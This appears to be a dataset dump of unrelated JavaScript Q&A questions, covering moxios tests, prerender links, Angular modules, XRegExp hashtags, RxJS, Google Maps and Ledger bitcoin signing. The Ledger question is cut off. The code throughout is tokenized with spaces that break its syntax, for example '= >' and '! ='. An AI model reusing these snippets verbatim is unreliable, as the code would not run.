//github.com/axios/moxiosSo which could be the proper way to test this class with its methods ? import UserInfoModel from '../models/UserInfo.model ' ; import ApiClient from './apiClient ' ; import ApiNormalizer from './apiNormalizer ' ; import Article from '../models/Article.model ' ; import Notification from '../models/Notification.model ' ; import Content from '../models/Link.model ' ; export interface ResponseData { [ key : string ] : any ; } export default class ApiService { static makeApiCall ( url : string , normalizeCallback : ( d : ResponseData ) = > ResponseData | null , callback : ( d : any ) = > any ) { return ApiClient.get ( url ) .then ( res = > { callback ( normalizeCallback ( res.data ) ) ; } ) .catch ( error = > { console.error ( error ) ; } ) ; } static getProfile ( callback : ( a : UserInfoModel ) = > void ) { return ApiService.makeApiCall ( ` profile ` , ApiNormalizer.normalizeProfile , callback ) ; } } // @ ts-ignoreimport moxios from 'moxios ' ; import axios from 'axios ' ; import { baseURL } from './apiClient ' ; import { dummyUserInfo } from './../models/UserInfo.model ' ; describe ( 'apiService ' , ( ) = > { let axiosInstance : any ; beforeEach ( ( ) = > { axiosInstance = axios.create ( ) ; moxios.install ( ) ; } ) ; afterEach ( ( ) = > { moxios.uninstall ( ) ; } ) ; it ( 'should perform get profile call ' , done = > { moxios.stubRequest ( ` $ { baseURL.DEV } profile ` , { status : 200 , response : { _user : dummyUserInfo } } ) ; axiosInstance .get ( ` $ { baseURL.DEV } profile ` ) .then ( ( res : any ) = > { expect ( res.status ) .toEqual ( 200 ) ; expect ( res.data._user ) .toEqual ( dummyUserInfo ) ; } ) .finally ( done ) ; } ) ; } ) ;",How can I test a class which contains imported async methods in it ? "JS : I have the following code which prefetches and prerenders *specific links on hover , My question is , Do I need to add a new link each time , or is it enough that I change the href ? Will removing , changing the href cancel the pre-rendering/pre-fetching of a previously defined href or even remove it from cache ? Or since it was called once it stays in cache ? Also , Where can this be tested ? *Because Pre-rendering is an advanced experimental feature , and mis-triggering it can lead to a degraded experience for your users , including increased bandwidth usage , slower loading of other links , and slightly stale content . You should only consider triggering prerendering if you have high confidence on which page a user will visit next , and if you ’ re really providing added value to your users . $ ( `` .prerender '' ) .on ( `` mouseover '' , function ( ) { var link = $ ( this ) .attr ( `` href '' ) , prerenderLink = $ ( `` # prerenderLink '' ) ; if ( prerenderLink.length ) { if ( prerenderLink.attr ( `` href '' ) === link ) return ; prerenderLink.attr ( `` href '' , link ) ; } else { $ ( ' < link id= '' prerenderLink '' rel= '' prefetch prerender '' href= '' ' + link + ' '' / > ' ) .appendTo ( `` body '' ) ; } } ) ;",prefetch prerender multiple pages on hover "JS : Tested on Microsoft Edge from Windows 10 build 10240 . Fixed in build 10586.SynopsisRunning XMLDocument.prototype.evaluate on a document that has namespaceURI set to null crashes the current tab process in Microsoft Edge , leaves the developer tools for that tab unresponsive , sends debug information to watson.telemetry.microsoft.com , and force-reloads the page.ReproTo reproduce , open any website in Microsoft Edge , hit F12 to open developer tools , select Console , and run these 3 lines of javascript : var doc = document.implementation.createDocument ( null , null , null ) ; var node = doc.createElement ( ' A ' ) ; doc.evaluate ( ' B ' , node , doc.createNSResolver ( doc ) , 9 , null ) ;",Document.evaluate for documents without namespaceURI crashes Microsoft Edge "JS : I just came across this sample code , which has a script tag with both an external source and a body . I assume that this is a clever way to pass some information to the included script.How does it work ? < html > < head > < script src= '' http : //unhosted.org/remoteStorage.js '' > { onChange : function ( key , oldValue , newValue ) { if ( key=='text ' ) { document.getElementById ( 'textfield ' ) .value= newValue ; } } , category : 'documents ' } < /script > < /head >",Script tag with both external source and body "JS : I 'm working on a web app with two top level modules and several modules under each . Example : publicregistrationloginportaldashboardresultsappointmentsEach of the nested modules has one or more potential routes , services and components . The public and portal modules also have different layout requirements.What I would like to do is break my code up into modules for each main section above . However , when I attempt to load a module as a child of another route , I get an error stating the module ca n't be found : Here are my routing files : The `` dashboard '' module lives at : /app/portal/dashboard/dashboard.module.ts , but no matter what I set the module path to in loadChildren , it ca n't seem to find it.What am I doing wrong ? I am using WebPack instead of SystemJS . error_handler.js:46EXCEPTION : Uncaught ( in promise ) : Error : Can not find module './dashboard/dashboard.module ' . /app/app.routing.tsimport { ModuleWithProviders } from ' @ angular/core ' ; import { Routes , RouterModule } from ' @ angular/router ' ; export const appRouting : ModuleWithProviders = RouterModule.forRoot ( [ { path : 'portal ' , loadChildren : 'portal/portal.module # PortalModule ' } , { path : `` , loadChildren : 'public/public.module # PublicModule ' } ] ) ; /app/portal/portal.routing.tsimport { ModuleWithProviders } from ' @ angular/core ' ; import { Routes , RouterModule } from ' @ angular/router ' ; import { PortalComponent } from './portal.component ' ; export const portalRouting : ModuleWithProviders = RouterModule.forChild ( [ { path : `` , component : PortalComponent , children : [ { path : 'dashboard ' , loadChildren : './dashboard/dashboard.module # DashboardModule ' } ] } ] ) ;",Angular2 can not find a nested module "JS : I am trying to add Diez tag # after the pressed space using jquery when user type . I have created this DEMO from codepen.io . In this demo when you write for example ( how are you ) the javascript code will change it like this ( # how # are # you ) .I am checking the words for adding # ( diez ) tag with function addHashtags ( text ) { ... } this function.1- ) So normally it is working fine for English characters . But I want to do it multiple language . Now the problem is when I type Turkish characters like ( üğşıöç ) . So what happened when I write with the Turkish characters word . You can test it with this word . When I write ( üzüm ) or ( hüseyin ) javascript should change this words like ( # üzüm # hüseyin ) but it is not . It is adding like this ( # ü # zü # m # hü # seyin ) . ( Solved ) 2- ) Another problem is some other language . Javascript not adding # ( diez ) tag when user type Arabic , Azerbaijan , Japanese.. etc . Nothing happened when I write like ( 私は家族と一緒に行きます ) or ( ผมไปกับครอบครัวของฉัน ) etc . This is a big problem for me . I need a solution . ( Solved ) 3- ) If you check DEMO you can see I have used textInput . It is n't work in Firefox but working on mobile devices . So if I use keypress the codes are working on FireFox but not working on mobile . My code should be work with all devices . ( Solved ) $ ( document ) .ready ( function ( ) { window.mobilecheck = function ( ) { var check = false ; ( function ( a ) { if ( / ( android|bb\d+|meego ) .+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip ( hone|od ) |iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m ( ob|in ) i|palm ( os ) ? |phone|p ( ixi|re ) \/|plucker|pocket|psp|series ( 4|6 ) 0|symbian|treo|up\ . ( browser|link ) |vodafone|wap|windows ce|xda|xiino/i.test ( a ) || /1207|6310|6590|3gso|4thp|50 [ 1-6 ] i|770s|802s|a wa|abac|ac ( er|oo|s\- ) |ai ( ko|rn ) |al ( av|ca|co ) |amoi|an ( ex|ny|yw ) |aptu|ar ( ch|go ) |as ( te|us ) |attw|au ( di|\-m|r |s ) |avan|be ( ck|ll|nq ) |bi ( lb|rd ) |bl ( ac|az ) |br ( e|v ) w|bumb|bw\- ( n|u ) |c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co ( mp|nd ) |craw|da ( it|ll|ng ) |dbte|dc\-s|devi|dica|dmob|do ( c|p ) o|ds ( 12|\-d ) |el ( 49|ai ) |em ( l2|ul ) |er ( ic|k0 ) |esl8|ez ( [ 4-7 ] 0|os|wa|ze ) |fetc|fly ( \-|_ ) |g1 u|g560|gene|gf\-5|g\-mo|go ( \.w|od ) |gr ( ad|un ) |haie|hcit|hd\- ( m|p|t ) |hei\-|hi ( pt|ta ) |hp ( i|ip ) |hs\-c|ht ( c ( \-| |_|a|g|p|s|t ) |tp ) |hu ( aw|tc ) |i\- ( 20|go|ma ) |i230|iac ( |\-|\/ ) |ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja ( t|v ) a|jbro|jemu|jigs|kddi|keji|kgt ( |\/ ) |klon|kpt |kwc\-|kyo ( c|k ) |le ( no|xi ) |lg ( g|\/ ( k|l|u ) |50|54|\- [ a-w ] ) |libw|lynx|m1\-w|m3ga|m50\/|ma ( te|ui|xo ) |mc ( 01|21|ca ) |m\-cr|me ( rc|ri ) |mi ( o8|oa|ts ) |mmef|mo ( 01|02|bi|de|do|t ( \-| |o|v ) |zz ) |mt ( 50|p1|v ) |mwbp|mywa|n10 [ 0-2 ] |n20 [ 2-3 ] |n30 ( 0|2 ) |n50 ( 0|2|5 ) |n7 ( 0 ( 0|1 ) |10 ) |ne ( ( c|m ) \-|on|tf|wf|wg|wt ) |nok ( 6|i ) |nzph|o2im|op ( ti|wv ) |oran|owg1|p800|pan ( a|d|t ) |pdxg|pg ( 13|\- ( [ 1-8 ] |c ) ) |phil|pire|pl ( ay|uc ) |pn\-2|po ( ck|rt|se ) |prox|psio|pt\-g|qa\-a|qc ( 07|12|21|32|60|\- [ 2-7 ] |i\- ) |qtek|r380|r600|raks|rim9|ro ( ve|zo ) |s55\/|sa ( ge|ma|mm|ms|ny|va ) |sc ( 01|h\-|oo|p\- ) |sdk\/|se ( c ( \-|0|1 ) |47|mc|nd|ri ) |sgh\-|shar|sie ( \-|m ) |sk\-0|sl ( 45|id ) |sm ( al|ar|b3|it|t5 ) |so ( ft|ny ) |sp ( 01|h\-|v\-|v ) |sy ( 01|mb ) |t2 ( 18|50 ) |t6 ( 00|10|18 ) |ta ( gt|lk ) |tcl\-|tdg\-|tel ( i|m ) |tim\-|t\-mo|to ( pl|sh ) |ts ( 70|m\-|m3|m5 ) |tx\-9|up ( \.b|g1|si ) |utst|v400|v750|veri|vi ( rg|te ) |vk ( 40|5 [ 0-3 ] |\-v ) |vm40|voda|vulc|vx ( 52|53|60|61|70|80|81|83|85|98 ) |w3c ( \-| ) |webc|whit|wi ( g |nc|nw ) |wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test ( a.substr ( 0 , 4 ) ) ) check = true ; } ) ( navigator.userAgent || navigator.vendor || window.opera ) ; return check ; } ; // Move cursor to the end . function placeCaretAtEndX ( el ) { el.focus ( ) ; if ( typeof window.getSelection ! = `` undefined '' & & typeof document.createRange ! = `` undefined '' ) { var range = document.createRange ( ) ; range.selectNodeContents ( el ) ; range.collapse ( false ) ; var sel = window.getSelection ( ) ; sel.removeAllRanges ( ) ; sel.addRange ( range ) ; } else if ( typeof document.body.createTextRange ! = `` undefined '' ) { var textRange = document.body.createTextRange ( ) ; textRange.moveToElementText ( el ) ; textRange.collapse ( false ) ; textRange.select ( ) ; } } // Define special characters : var charactersX = [ 0 , 32 , // space 13 // enter // add other punctuation symbols or keys ] ; // Convert characters to charCode function toCharCodeX ( char ) { return char.charCodeAt ( 0 ) ; } var forbiddenCharactersX = [ toCharCodeX ( `` _ '' ) , toCharCodeX ( `` - '' ) , toCharCodeX ( `` ? `` ) , toCharCodeX ( `` * '' ) , toCharCodeX ( `` \\ '' ) , toCharCodeX ( `` / '' ) , toCharCodeX ( `` ( `` ) , toCharCodeX ( `` ) '' ) , toCharCodeX ( `` = '' ) , toCharCodeX ( `` & '' ) , toCharCodeX ( `` % '' ) , toCharCodeX ( `` + '' ) , toCharCodeX ( `` ^ '' ) , toCharCodeX ( `` # '' ) , toCharCodeX ( `` ' '' ) , toCharCodeX ( `` < `` ) , toCharCodeX ( `` | '' ) , toCharCodeX ( `` > '' ) , toCharCodeX ( `` . `` ) , toCharCodeX ( `` , '' ) , toCharCodeX ( `` ; '' ) ] ; $ ( document ) .on ( `` textInput '' , `` # text '' , function ( event ) { var code = event.which ; window.mobilecheck ( ) ? event.originalEvent.data.charCodeAt ( 0 ) : event.which ; if ( charactersX.indexOf ( code ) > -1 ) { // Get and modify text . var text = $ ( `` # text '' ) .text ( ) ; text = XRegExp.replaceEach ( text , [ [ / # \s*/g , `` '' ] , [ /\s { 2 , } /g , `` `` ] , [ XRegExp ( `` ( ? : \\s|^ ) ( [ \\p { L } \\p { N } ] + ) ( ? =\\s| $ ) ( ? = . *\\s\\1 ( ? =\\s| $ ) ) '' , '' gi '' ) , '' '' ] , [ XRegExp ( `` ( [ \\p { N } \\p { L } ] + ) '' , `` g '' ) , `` # $ 1 '' ] ] ) ; // Save content . $ ( `` # text '' ) .text ( text ) ; // Move cursor to the end placeCaretAtEndX ( document.querySelector ( `` # text '' ) ) ; } else if ( forbiddenCharactersX.has ( code ) ) { event.preventDefault ( ) ; } } ) ; } ) ; .container { position : relative ; width:100 % ; max-width:600px ; overflow : hidden ; padding:10px ; margin:0px auto ; margin-top:50px ; } * { box-sizing : border-box ; -webkit-box-sizing : border-box ; -moz-box-sizing : border-box ; } .addiez { position : relative ; width:100 % ; padding:30px ; border:1px solid # d8dbdf ; outline : none ; text-transform : lowercase ; font-family : helvetica , arial , sans-serif ; -moz-osx-font-smoothing : grayscale ; -webkit-font-smoothing : antialiased ; } .addiez : :-webkit-input-placeholder { /* Chrome/Opera/Safari */ color : rgb ( 0 , 0 , 1 ) ; } .addiez [ contentEditable=true ] : empty : not ( : focus ) : before { content : attr ( placeholder ) ; color : # 444 ; } .note { position : relative ; width:100 % ; padding:30px ; font-weight:300 ; font-family : helvetica , arial , sans-serif ; -moz-osx-font-smoothing : grayscale ; -webkit-font-smoothing : antialiased ; line-height:1.8rem ; font-size:13px ; } .ad_text { position : relative ; width:100 % ; padding:10px 30px ; overflow : hidden ; font-weight:300 ; font-family : helvetica , arial , sans-serif ; -moz-osx-font-smoothing : grayscale ; -webkit-font-smoothing : antialiased ; line-height:1.8rem ; font-size:13px ; } < script src= '' https : //unpkg.com/xregexp @ 3.2.0/xregexp-all.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < div class= '' container '' > < div class= '' addiez '' contenteditable= '' true '' id= '' text '' placeholder= '' Write something with space '' > < /div > < div class= '' ad_text '' id= '' ad_text '' > < /div >",Check pressed space then add diez tag using jquery with multi language "JS : I am working with a data-heavy website and I need to support IE8 . I am getting some `` slow-running script '' errors in IE8 , so I am adapting my code to pause periodically during loops for older browsers . This is my current code : How can I adapt calculateRatiosForData to process N rows at a time , then pause ? This will make it asynchronous , and I 'm struggling to adapt my code to handle this . Whatever I do needs to be supported in IE8 , of course ! combineData : function ( xData , yData , values ) { var combinedData = this.combineDatasets ( xData , yData , values.x , values.x_val ) ; combinedData = this.calculateRatiosForData ( combinedData ) ; // various other data operations , then continue to set up chart ... } , calculateRatiosForData : function ( data , isSpecialDenominator , x_val_key ) { _.each ( data , function ( d , i ) { // do some calculations ... } ) ; return data ; } ,","JavaScript : Adapt synchronous code to be async , to support IE8 ?" "JS : I have this html : And I want to know if its possible to automatically hyperlink the dates so when the user presses on them you can add them to the users ( phone 's ) calendar ? A good example of how this should work is Gmail . When there is a date or the word ( tomorrow , this friday , etc.. ) it should be automatically linked so the date can be added to calendar.Update : Does any one know if there is a ex . javascript that I can add to the app that will do this job for me ? < p > < a href= '' http : //en.wikipedia.org/wiki/Sauropelta '' > sawr-o-pel-te < /a > meaning 'lizard shield ' < /p > < p > April 7th , 2015 < /p > < p > 4/7/2015 < /p > < p > April 7th < /p > < p > Next Monday 6th < br > < /p > < p > 202 E South St < br > Orlando , FL 32801 < /p > < h3 > Quick Facts < /h3 > < ul > < li > One of the most well-understood nodosaurids < span > < /span > < /li > < li > The earliest known genus of nodosaurid < span > < /span > < /li > < li > Measured about 5 meters ( 16.5 ft ) long < span > < /span > < /li > < li > The tail made up nearly half of its body length < /li > < /ul > < span > < /span >",Can you autolink dates in android webview JS : What does three ampersands do in Sass ? Here in a styled-components context : Seen in code here : https : //github.com/reakit/reakit/blob/website % 400.16.0/packages/reakit/src/Grid/Grid.ts # L23 const Grid = styled.div ` display : grid ; & & & { $ { someFunction } } `,Triple ampersand in Sass "JS : JSLint has some interesting messages , such as eval is evil . when you use an eval statement , and Weird relation . when comparing two literals , e.g . 1 == 2.I was looking through a list of the JSLint messages , and noticed this one at the bottom of the list : What the hell is this ? I looked through the JSLint source and found this code : I have been trying for a while , unsuccessfully , to write code that triggers this . Nothing I have read about JSLint talks about this error message , why it exists , or what causes it . I 've briefly inspected the code , but I ca n't really understand what the stack is , how it is populated or what could cause it to be empty.Can somebody write a code sample that will cause JSLint to scream What the hell is this ? or explain what prevents this from happening ? if ( stack.length === 0 ) { error ( `` What the hell is this ? `` , nexttoken ) ; }",How can you trigger the `` What the hell is this ? '' JSLint message ? "JS : And that 's saying something . This is based on the Google Maps sample for Directions in the Maps API v3.See that `` alert ( 'booga booga ' ) '' in there ? With that in place , this all works fantastic . Comment that out , and var start is undefined when we hit the line to define var request.I discovered this when I removed the alert I put in there to show me the value of var start , and it quit working . If I DO ask it to alert me the value of var start , it tells me it 's undefined , BUT it has a valid ( and accurate ! ) value when we define var request a few lines later.I 'm suspecting it 's a timing issue -- like an asynchronous something is having time to complete in the background in the moment it takes me to dismiss the alert . Any thoughts on work-arounds ? < html > < head > < meta name= '' viewport '' content= '' initial-scale=1.0 , user-scalable=no '' / > < meta http-equiv= '' content-type '' content= '' text/html ; charset=UTF-8 '' / > < title > Google Directions < /title > < script type= '' text/javascript '' src= '' http : //maps.google.com/maps/api/js ? sensor=false '' > < /script > < script type= '' text/javascript '' > var directionDisplay ; var directionsService = new google.maps.DirectionsService ( ) ; var map ; function initialize ( ) { directionsDisplay = new google.maps.DirectionsRenderer ( ) ; var myOptions = { zoom:7 , mapTypeId : google.maps.MapTypeId.ROADMAP } map = new google.maps.Map ( document.getElementById ( `` map_canvas '' ) , myOptions ) ; directionsDisplay.setMap ( map ) ; directionsDisplay.setPanel ( document.getElementById ( `` directionsPanel '' ) ) ; } function render ( ) { var start ; if ( navigator.geolocation ) { navigator.geolocation.getCurrentPosition ( function ( position ) { start = new google.maps.LatLng ( position.coords.latitude , position.coords.longitude ) ; } , function ( ) { handleNoGeolocation ( browserSupportFlag ) ; } ) ; } else { // Browser does n't support Geolocation handleNoGeolocation ( ) ; } alert ( `` booga booga '' ) ; var end = ' < ? = $ _REQUEST [ 'destination ' ] ? > ' ; var request = { origin : start , destination : end , travelMode : google.maps.DirectionsTravelMode.DRIVING } ; directionsService.route ( request , function ( response , status ) { if ( status == google.maps.DirectionsStatus.OK ) { directionsDisplay.setDirections ( response ) ; } } ) ; } < /script > < /head > < body style= '' margin:0px ; padding:0px ; '' onload= '' initialize ( ) '' > < div > < div id= '' map_canvas '' style= '' float : left ; width:70 % ; height:100 % '' > < /div > < div id= '' directionsPanel '' style= '' float : right ; width:30 % ; height 100 % '' > < /div > < script type= '' text/javascript '' > render ( ) ; < /script > < /body > < /html >",Craziest JavaScript behavior I 've ever seen "JS : I have this piece of code ( on jsfiddle ) Now when the mouse enters the set , set.pause ( ) is called correctly and all animations stop.But when leaving the hover area it does n't resume the animation ( s ) , instead I get following error in the console : Uncaught TypeError : Can not read property 'transform ' of undefinedI have no idea why this happens ; is anybody able to help ? var paper = new Raphael ( 'holder ' , 400 , 100 ) ; var set = paper.set ( ) ; for ( var i = 0 ; i < 10 ; i++ ) { var circle = paper.circle ( ( i * 30 ) + 30 , 20 , 5 ) ; circle.attr ( { fill : ' # ff0 ' } ) ; circle.animate ( Raphael.animation ( { transform : 's2,2 ' } , 2000 ) .repeat ( 'Infinity ' ) ) ; set.push ( circle ) ; } set.hover ( function ( ) { set.pause ( ) ; } , function ( ) { set.resume ( ) ; // < - things get nasty here } ) ; ​",Raphaël.js animation resume ( ) fails on set "JS : I 'm wondering , what 's the origin of asking interviewees to manually parse a string as an int ? ( without relying on any casting/type-conversion that may be built into the language ) . Is this a standard question , suggested from a book or list or something ? Has anybody else here on SO gotten asked this particular question during an interview ? I guess I nailed it when explaining it and scribbling it on the white board , as I have received a tentative job offer : ) Below is my fleshed out implementation in Javascript . There are some naive facets ( e.g . it does n't take a radix argument ) to the following but it demonstrates a ( more or less ) correct algorithm . function to_i ( strValue ) { //named so as to not be confused with parseInt if ( typeof strValue ! == 'string ' || strValue.length === 0 ) { return Number.NaN ; } var tmpStr = strValue ; var intValue = 0 ; var mult = 1 ; for ( var pos=tmpStr.length-1 ; pos > =0 ; pos -- ) { var charCode = tmpStr.charCodeAt ( pos ) ; if ( charCode < 48 || charCode > 57 ) { return Number.NaN ; } intValue += mult * Math.abs ( 48-charCode ) ; tmpStr = tmpStr.substr ( 0 , tmpStr.length-1 ) ; mult *= 10 ; } return intValue ; }",What 's the origin of asking interviewees to manually parse a string as an int ? "JS : I have the following directive : Inside I have the showDiv and hideDiv function that would show and hide the page editor 's menu when I click in and out of the textarea.I am passing the functions to an event inside the compile : When I click inside and outside the textarea I get the errors : When I click in and out of textarea nothing is happening . No errors but not calling the function either.Can anyone point me to the right direction ? Thanks app.directive ( 'pagedownAdmin ' , [ ' $ compile ' , ' $ timeout ' , function ( $ compile , $ timeout ) { var nextId = 0 ; var converter = Markdown.getSanitizingConverter ( ) ; converter.hooks.chain ( `` preBlockGamut '' , function ( text , rbg ) { return text.replace ( /^ { 0,3 } '' '' '' *\n ( ( ? : .* ? \n ) + ? ) { 0,3 } '' '' '' * $ /gm , function ( whole , inner ) { return `` < blockquote > '' + rbg ( inner ) + `` < /blockquote > \n '' ; } ) ; } ) ; return { restrict : `` E '' , scope : { content : `` = '' , modal : '=modal ' } , template : ' < div class= '' pagedown-bootstrap-editor '' > < /div > ' , link : function ( scope , iElement , attrs ) { var editorUniqueId ; if ( attrs.id == null ) { editorUniqueId = nextId++ ; } else { editorUniqueId = attrs.id ; } scope.hideDiv = function ( ) { document.getElementById ( `` wmd-button-bar- '' + editorUniqueId ) .style.display = 'none ' ; } ; scope.showDiv = function ( ) { document.getElementById ( `` wmd-button-bar- '' + editorUniqueId ) .style.display = 'block ' ; } ; scope ; var newElement = $ compile ( ' < div > ' + ' < div class= '' wmd-panel '' > ' + ' < div data-ng-hide= '' modal.wmdPreview == true '' id= '' wmd-button-bar- ' + editorUniqueId + ' '' style= '' display : none ; '' > < /div > ' + ' < textarea on-focus= '' showDiv ( ) '' on-blur= '' hideDiv ( ) '' data-ng-hide= '' modal.wmdPreview == true '' class= '' wmd-input '' id= '' wmd-input- ' + editorUniqueId + ' '' ng-model= '' content '' > ' + ' < /textarea > ' + ' < /div > ' + ' < div data-ng-show= '' modal.wmdPreview == true '' id= '' wmd-preview- ' + editorUniqueId + ' '' class= '' pagedownPreview wmd-panel wmd-preview '' > test div < /div > ' + ' < /div > ' ) ( scope ) ; iElement.append ( newElement ) ; var help = angular.isFunction ( scope.help ) ? scope.help : function ( ) { // redirect to the guide by default $ window.open ( `` http : //daringfireball.net/projects/markdown/syntax '' , `` _blank '' ) ; } ; var editor = new Markdown.Editor ( converter , `` - '' + editorUniqueId , { handler : help } ) ; var editorElement = angular.element ( document.getElementById ( `` wmd-input- '' + editorUniqueId ) ) ; editor.hooks.chain ( `` onPreviewRefresh '' , function ( ) { // wire up changes caused by user interaction with the pagedown controls // and do within $ apply $ timeout ( function ( ) { scope.content = editorElement.val ( ) ; } ) ; } ) ; editor.run ( ) ; } } } ] ) ; //First try < textarea onfocus= '' showDiv ( ) '' onblur= '' hideDiv ( ) '' > < /textarea > Uncaught ReferenceError : on is not definedUncaught ReferenceError : off is not defined//Second try < textarea on-focus= '' showDiv ( ) '' on-blur= '' hideDiv ( ) '' > < /textarea >",Angularjs : How to pass function into compile "JS : I 've got a special producer consumer problem in RxJS : The producer slowly produces elements . A consumer is requesting elements and often has to wait for the producer . This can be achieved by zipping the producer and the request stream : Sometimes a request gets aborted . A produced element should only consumed after a not aborted request : The first request r1 would consume the first produced element p1 , but r1 gets aborted by a ( r1 ) before it can consume p1 . p1 is produced and gets consumed c ( p1 , r2 ) on second request r2 . The second abort a ( ? ) is ignored , because no unanswered request happened before . The third request r3 has to wait on the next produced element p2 and is not aborted till p2 is produced . Thus , p2 is consumed c ( p2 , r3 ) immediately after it got produced.How can I achieve this in RxJS ? Edit : I created an example with a QUnit test on jsbin . You can edit the function createConsume ( produce , request , abort ) to try/test your solution.The example contains the function definition of the previously accepted answer . var produce = getProduceStream ( ) ; var request = getRequestStream ( ) ; var consume = Rx.Observable.zipArray ( produce , request ) .pluck ( 0 ) ; produce : -- -- -- -- -- -- -p1 -- -- -- -- -- -- -- -- -- -- -- -- -p2 -- -- -- -- - > request : -- r1 -- -- -- -- -- -- -- r2 -- -- -- -- -- -- -- -r3 -- -- -- -- -- -- -- > abort : -- -- -- a ( r1 ) -- -- -- -- -- -- -- -- -- a ( ? ) -- -- -- -- -- -- -- -- -- > consume : -- -- -- -- -- -- -- -- -- c ( p1 , r2 ) -- -- -- -- -- -- -c ( p2 , r3 ) -- >",RxJS : Producer-consumer with abort "JS : I 'm using the Ace Editor with autocompletion turned on . The editor appears in a modal frame on the page.If the modal frame is closed ( i.e . the editor is removed from the DOM ) while an autocomplete popup is open , the popup gets stuck and ca n't be closed . What 's the right way to destroy the popup ? The best I 've found so far isThis seems to work , but it 's undocumented and I do n't know if there are any side-effects or concerns . Is there a better option ? editor.completer.detach ( ) ;",Destroy an open autocomplete popup in Ace editor "JS : I came across this by mistake one day while programming a game : Why does JavaScript let you do this ? Is this a glitch ? var foo = function ( ) { alert ( `` Hello , World ! `` ) ; } foo [ 0 ] = `` Zero '' ; foo [ 1 ] = `` One '' ; foo [ 2 ] = `` Two '' ; foo [ 3 ] = `` Three '' ; foo ( ) ; // Alerts `` Hello , World ! `` alert ( foo [ 2 ] ) ; // Alerts `` Two ''",Why does JavaScript let you store an array and a function in one variable ? "JS : I have a DOM situation that looks like this : A is an ancestor of B , which is in turn an ancestor of CInitially , A has styles that inherit to B and CI wish to temporarily highlight B by giving it a highlighted class ... however ... I want to `` escape '' the highlighting on C so it changes as little as possibleIt seems this is not possible within the cascading paradigm of CSS . The only way to `` un-apply '' a style is to apply an overriding style . My problem is that the highlight code is in a plugin that wants to play well with an arbitrary page 's existing CSS ... my selectors are like this : Background is a tricky one ... because although it is not an inherited CSS property , changing an ancestor 's background can alter a descendant 's appearance ( if they have transparent backgrounds ) . So it 's an example of something that causes the kind of disruption I 'm trying to negate . : -/Are there any instances of how people have suppressed the inheritance of changes in this fashion ? Perhaps using tricks such as caching computed styles ? I 'm looking for any default technique that can be at least a little smarter than a function-level hook that says `` hey , the plugin highlighted this node ... do what you need to visually compensate . `` UPDATE I have created a basic JsFiddle of this scenario to help make the discussion clearer : http : //jsfiddle.net/HostileFork/7ku3g/ /* http : //www.maxdesign.com.au/articles/multiple-classes/ */.highlighted.class1 { background-color : ... background-image : ... ... } .highlighted.class2 { ... } /* ... */.highlighted.classN { ... }",Workaround for lack of CSS feature to `` suppress inherited styles '' ( and backgrounds ? ) "JS : I 'm trying to make an HTTP Get request using JQuery , but I get an empty string as a response , so I figure I 'm doing something wrong . I used the documentation from http : //api.jquery.com/jQuery.get/ as a guide.My code looks like thisEdit : My code now looks like thisBut I 'm getting a syntax error [ Break on this error ] \nAnd it 's located in http : //www.last.fm/api/auth/ ? api_key=c99ddddddd69ace & format=json & callback= ? Latest edit : It seems this is because last.fm is responding with html not JSON , any ideas would be appreciated $ .get ( `` http : //www.last.fm/api/auth/ ? api_key=xxxkeyxxx '' , function ( data ) { window.console.log ( data ) ; } ) ; $ .getJSON ( `` http : //www.last.fm/api/auth/ ? api_key=c99ddddddd69ace & format=json & callback= ? `` , function ( data ) { window.console.log ( data ) ; } ) ;",HTTP Get Request in JQuery to Last.fm "JS : Suppose I 'm writing a WinRT app with both JavaScript and C # code , and I want my JavaScript code to hook an event on my C # object.I know that 's supposed to be possible , but what would that JavaScript code look like ? How are events ( however the concept of a CLR event is represented in WinRT ) exposed in the JavaScript projection ? If a concrete example would help , let 's say my C # object has this event : How do I hook that event from JavaScript ? ( I 'm sure the answer is buried in one of the //build/ videos , but they 're not exactly searchable . ) public event EventHandler Initialized ;",How does JavaScript hook WinRT events ? "JS : I have an svg element I 'd like to be able to click and drag separately . As far as I can tell in D3 , clicking fires the `` drag end '' event ( and possibly also drag start ? ) . In the code below , simply clicking the circle gives it a red outline : fiddleHow do you register a click callback without triggering the drag.end callback ? It seems like most of the questions and blocks about clicking and dragging seem to want to suppress the click action on dragging , so are not relevant . d3v5.7 ( current ) var svg = d3.select ( 'body ' ) .append ( 'svg ' ) ; var g = svg.append ( ' g ' ) ; var c = g.append ( 'circle ' ) .attr ( ' r ' , 20 ) .attr ( 'cx ' , 25 ) .attr ( 'cy ' , 25 ) .call ( d3.drag ( ) .on ( 'drag ' , dragged ) .on ( 'end ' , end ) ) .on ( 'click ' , clicked ) ; function dragged ( ) { d3.select ( this ) .attr ( 'fill ' , 'green ' ) .attr ( 'cx ' , d3.event.x ) .attr ( 'cy ' , d3.event.y ) ; } function end ( ) { d3.select ( this ) .attr ( 'fill ' , 'red ' ) .attr ( 'stroke ' , 'red ' ) .attr ( 'stroke-width ' , 5 ) ; } function clicked ( ) { if ( d3.event.defaultPrevented ) return ; d3.select ( this ) .attr ( 'fill ' , 'blue ' ) ; }",How to prevent d3.drag ( ) .on ( 'end ' from firing .on ( 'click ' "JS : I 'm trying to sign a Psbt transaction from bitcoinjs-lib following what I found here : https : //github.com/helperbit/helperbit-wallet/blob/master/app/components/dashboard.wallet/bitcoin.service/ledger.tsI 've checked that the compressed publicKey both from ledger , and the one from bitcoinjsLib returned the same value.I could sign it with the bitcoinjs-lib ECPair , but when I tries to sign it using ledger , it is always invalid.Can someone helps me point out where did I made a mistake ? These variables is already mentioned in the code below , but for clarity purpose : This is my minimum reproducible code I 've got . - mnemonics : abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about- 